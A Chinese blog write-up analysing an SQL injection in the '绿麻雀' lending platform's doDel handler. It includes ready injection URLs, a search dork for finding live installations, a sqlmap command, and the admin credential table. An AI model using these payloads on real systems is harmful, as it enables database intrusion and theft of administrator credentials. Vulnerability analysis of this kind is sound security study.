绿麻雀网贷系统通用注入分析
在安全脉搏上面看到的这个程序,虽说已经有文章了。但是对于小菜鸟的我还是想要尝试着分析一下下。学习学习。嘻嘻。
Action
先把源码抠过来。
漏洞文件:App\Lib\Action\HCommonAction.class.php
且看漏洞产生的关键位置:
1 <?php 2 /** 3 * 以上code省略...by:DEF 4 */ 5 public function doDel(){ #首先定义了一个删除的类 6 7 $model = D($this->getActionName()); #引用getactionname 8 9 if (!empty($model)) { #如果说$model不为空执行下面的语句否则不做任何操作。 10 11 $id = $_REQUEST['idarr'];#漏洞产生地点!此处的idarr未经任何处理!就将其带入二十三行执行sql,进行删除数据,故由此引发sql注入 12 13 if (isset($id)) { 14 15 if (method_exists($this, '_doDelFilter')) { 16 17 $this->_doDelFilter($id); 18 19 } 20 21 22 23 if (false !== $model->where("id in ({$id})")->delete()) { 24 25 $this->success(L('删除成功'),'',$id); 26 27 } else { 28 29 $this->error(L('删除失败')); 30 31 } 32 33 } else { 34 35 $this->error('非法操作'); 36 37 } 38 39 } 40 41 } 42 43 ?>
因为没有任何的输出,所以对待此类猪肉只能使用盲注。凡是继承了这个HCommonAction类的都存在这个sql漏洞。
以上文件都是继承了HCommonAction类的文件。
borrow,fund,dodel下的idarr参数都是可以注入的。
PS:其实这个漏洞危害性还是有的。
inurl:member/common/register/
http://localhost/home/borrow/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)
http://localhost/home/Feedback/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)
http://localhost/home/Fund/doDel/idarr/updatexml(1,if(1=1,1,0x22),1)
可爆管理员后台:/App/Tpl/Admin/default/Index/login.html
sqlmap.py -u "https://www.xxxx.com/home/borrow/doDel/" --data "idarr=updatexml(1,if(1=1*,1,0x22),1)" --dbms=mysql --technique=B --random-agent --threads=6 --dbs
管理员默认的用户表:lzh_ausers下的user_name,user_pass,user_word
THE END
By:珍惜少年时博客:http://www.cnblogs.com/xishaonian/
*-------------------------------------------*